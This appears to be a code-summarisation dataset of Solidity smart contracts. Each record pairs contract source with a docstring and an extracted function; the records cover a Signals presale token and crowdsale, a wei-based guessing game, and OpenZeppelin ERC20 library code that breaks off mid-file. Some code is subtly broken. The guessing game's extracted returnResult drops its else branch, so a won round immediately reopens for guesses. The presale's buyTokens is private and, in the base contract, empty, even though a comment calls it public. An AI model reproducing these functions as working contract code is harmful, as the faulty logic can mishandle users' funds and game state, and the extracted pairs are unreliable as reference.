function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Signals token
* @dev Mintable token created for Signals.Network
*/
contract SignalsToken is PausableToken, MintableToken {
// Standard token variables
string constant public name = "SGNPresaleToken";
string constant public symbol = "SGN";
uint8 constant public decimals = 9;
event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens);
/*
* Constructor which pauses the token at the time of creation
*/
function SignalsToken() {
pause();
}
/*
* @dev Token burn function to be called at the time of token swap
* @param _partner address to use for token balance buring
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(address _partner, uint256 _tokens) public onlyOwner {
require(balances[_partner] >= _tokens);
balances[_partner] -= _tokens;
totalSupply -= _tokens;
TokensBurned(msg.sender, _partner, _tokens);
}
}
// Public PreSale register contract
contract PresaleRegister is Ownable {
mapping (address => bool) verified;
event ApprovedInvestor(address indexed investor);
/*
* Approve function to adjust allowance to investment of each individual investor
* @param _investor address sets the beneficiary for later use
* @param _amount uint256 is the newly assigned allowance of tokens to buy
*/
function approve(address _investor) onlyOwner public{
verified[_investor] = true;
ApprovedInvestor(_investor);
}
/*
* Constant call to find out if an investor is registered
* @param _investor address to be checked
* @return bool is true is _investor was approved
*/
function approved(address _investor) constant public returns (bool) {
return verified[_investor];
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
SignalsToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, SignalsToken _tokenAddress) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_wallet != 0x0);
token = _tokenAddress;
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) private {}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title Signals token pre-sale
* @dev Curated pre-sale contract based on OpenZeppelin implementations
*/
contract PublicPresale is FinalizableCrowdsale {
// define PublicPresale depended variables
uint256 tokensSold;
uint256 toBeSold;
uint256 price;
PresaleRegister public register;
event PresaleExtended(uint256 newEndTime);
/**
* @dev The constructor
* @param _startTime uint256 is a time stamp of presale start
* @param _endTime uint256 is a time stamp of presale end (can be changed later)
* @param _wallet address is the address the funds will go to - it's not a multisig
* @param _token address is the address of the token contract (ownership is required to handle it)
* @param _register address is the investor registry
*/
function PublicPresale(uint256 _startTime, uint256 _endTime, address _wallet, SignalsToken _token, PresaleRegister _register)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _wallet, _token)
{
register = _register;
toBeSold = 1969482*1000000000;
price = 692981;
}
/*
* Buy in function to be called mostly from the fallback function
* @dev kept public in order to buy for someone else
* @param beneficiary address
*/
function buyTokens(address beneficiary) private {
require(beneficiary != 0x0);
require(validPurchase());
// Check the register if the investor was approved
require(register.approved(beneficiary));
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 toGet = howMany(msg.value);
require((toGet > 0) && (toGet.add(tokensSold) <= toBeSold));
// update state
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(toGet);
token.mint(beneficiary, toGet);
TokenPurchase(msg.sender, beneficiary, weiAmount, toGet);
forwardFunds();
}
/*
* Helper token emission functions
* @param value uint256 of the wei amount that gets invested
* @return uint256 of how many tokens can one get
*/
function howMany(uint256 value) view public returns (uint256){
return (value/price);
}
/*
* Adjust finalization to transfer token ownership to the fund holding address for further use
*/
function finalization() internal {
token.transferOwnership(wallet);
}
/*
* Optional settings to extend the duration
* @param _newEndTime uint256 is the new time stamp of extended presale duration
*/
function extendDuration(uint256 _newEndTime) onlyOwner {
require(!isFinalized);
require(endTime < _newEndTime);
endTime = _newEndTime;
PresaleExtended(_newEndTime);
}
}
|
Adjust finalization to transfer token ownership to the fund holding address for further use/
|
function finalization() internal {
token.transferOwnership(wallet);
}
| 12,951,551
|
pragma solidity ^0.5.0;
import "./SafeMath.sol";
contract GuessingGame {
using SafeMath for uint;
event newGameStarted(uint indexed _roundNumber, uint _timestamp);
event guessMade(uint indexed _roundNumber, uint indexed _guessNumber, address _guesser, uint[4] guess, uint _timestamp);
event guessValidated(uint indexed _roundNumber, uint indexed _guessNumber, uint _statusCode, uint _timestamp);
event gameOver(uint indexed _roundNumber, uint indexed _guessNumber, address _winner, uint _winnings, uint _timestamp);
uint public roundNo = 0;
uint public guessCost = 1 wei;
enum RoundState {NOT_STARTED, AWAITING_GUESS, AWAITING_VALIDATION}
RoundState public roundState;
struct gameState {
uint guessNo;
uint256 prizePool;
address payable roundWinner;
bytes32 winningHash;
uint256 roundDecodeKey;
uint[4] correctAnswer;
}
gameState public currentState;
mapping (uint => gameState) archiveGames;
uint[4] public lastGuess;
address payable lastGuessOwner;
bytes32 guessHash;
address public whitelistAddress;
/* Modifier to ensure only whitelisted resolver address can validate guesses */
modifier onlyWhitelistResolver() {
require(msg.sender == whitelistAddress, "Address calling is not whitelisted");
_;
}
/* Modifier to ensure that input guess is within 0-9 range */
modifier validDataInput (uint _A, uint _B, uint _C, uint _D) {
require( 0 <= _A && _A <= 9 &&
0 <= _B && _B <= 9 &&
0 <= _C && _C <= 9 &&
0 <= _D && _D <= 9, "Invalid guess range");
_;
}
/* PUBLIC FUNCTION - player calls to attempt guess ( 4 x num ) */
function guess (uint _A, uint _B, uint _C, uint _D) public payable validDataInput (_A, _B, _C, _D) {
require(roundState == RoundState.AWAITING_GUESS, "The game is not currently awaiting a guess");
require(msg.value == guessCost, "Incorrect guess fee paid");
guessHash = keccak256(abi.encodePacked(_A, _B, _C, _D));
lastGuessOwner = msg.sender;
lastGuess[0] = _A;
lastGuess[1] = _B;
lastGuess[2] = _C;
lastGuess[3] = _D;
roundState = RoundState.AWAITING_VALIDATION;
currentState.prizePool = currentState.prizePool.add(msg.value);
currentState.guessNo = currentState.guessNo.add(1);
emit guessMade(roundNo, currentState.guessNo, msg.sender, lastGuess, block.timestamp);
}
/* PUBLIC FUNCTION - whitelisted account can retrieve current player guess */
function retrieveGuess() public view onlyWhitelistResolver returns (uint, uint, bytes32, uint[4] memory){
require(roundState == RoundState.AWAITING_VALIDATION, "Game currently does not guess to check");
return (roundNo, currentState.guessNo, guessHash, lastGuess);
}
/* PUBLIC FUNCTION - function for whitelisted account to return guess response */
function returnResult(uint _rawData, uint _statusCode) public onlyWhitelistResolver {
require(roundState == RoundState.AWAITING_VALIDATION, "Game currently does not need guess validation");
emit guessValidated(roundNo, currentState.guessNo, _statusCode, block.timestamp);
if(_statusCode == 0) {
emit gameOver(roundNo, currentState.guessNo, lastGuessOwner, currentState.prizePool, block.timestamp);
currentState.roundWinner = lastGuessOwner;
currentState.roundDecodeKey = _rawData;
currentState.correctAnswer = lastGuess;
currentState.roundWinner.transfer(currentState.prizePool);
archiveGames[roundNo] = currentState;
delete currentState;
roundState = RoundState.NOT_STARTED;
} else {
roundState = RoundState.AWAITING_GUESS;
}
}
/* PUBLIC FUNCTION - function to start a new game */
function newGame(bytes32 _winningHash) public onlyWhitelistResolver {
require(roundState == RoundState.NOT_STARTED, "Game is currently running");
roundNo = roundNo.add(1);
delete lastGuess;
delete guessHash;
delete lastGuessOwner;
currentState.winningHash = _winningHash;
roundState = RoundState.AWAITING_GUESS;
emit newGameStarted(roundNo, block.timestamp);
}
/* PUBLIC FUNCTION - function to change whitelisted address */
function setWhitelistResolver(address _whitelistAddress) public onlyWhitelistResolver {
whitelistAddress = _whitelistAddress;
}
function checkRoundState() public view returns (RoundState) {
return roundState;
}
/* PUBLIC VIEW FUNCTION - return previous round hash/key combo */
function checkRoundHistoryDecoder(uint _roundNumber) public view returns (bytes32, uint256, uint[4] memory){
return (archiveGames[_roundNumber].winningHash, archiveGames[_roundNumber].roundDecodeKey, archiveGames[_roundNumber].correctAnswer);
}
/* Constructor to set initial state variables */
constructor () public {
roundNo = 0;
guessCost = 1 wei;
lastGuess = [0,0,0,0];
currentState.guessNo = 0;
currentState.prizePool = 0 wei;
roundState = RoundState.NOT_STARTED;
whitelistAddress = msg.sender;
}
}
|
PUBLIC FUNCTION - function for whitelisted account to return guess response /
|
function returnResult(uint _rawData, uint _statusCode) public onlyWhitelistResolver {
require(roundState == RoundState.AWAITING_VALIDATION, "Game currently does not need guess validation");
emit guessValidated(roundNo, currentState.guessNo, _statusCode, block.timestamp);
if(_statusCode == 0) {
emit gameOver(roundNo, currentState.guessNo, lastGuessOwner, currentState.prizePool, block.timestamp);
currentState.roundWinner = lastGuessOwner;
currentState.roundDecodeKey = _rawData;
currentState.correctAnswer = lastGuess;
currentState.roundWinner.transfer(currentState.prizePool);
archiveGames[roundNo] = currentState;
delete currentState;
roundState = RoundState.NOT_STARTED;
roundState = RoundState.AWAITING_GUESS;
}
}
| 2,559,877
|
/**
*Submitted for verification at snowtrace.io on 2022-02-15
*/
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
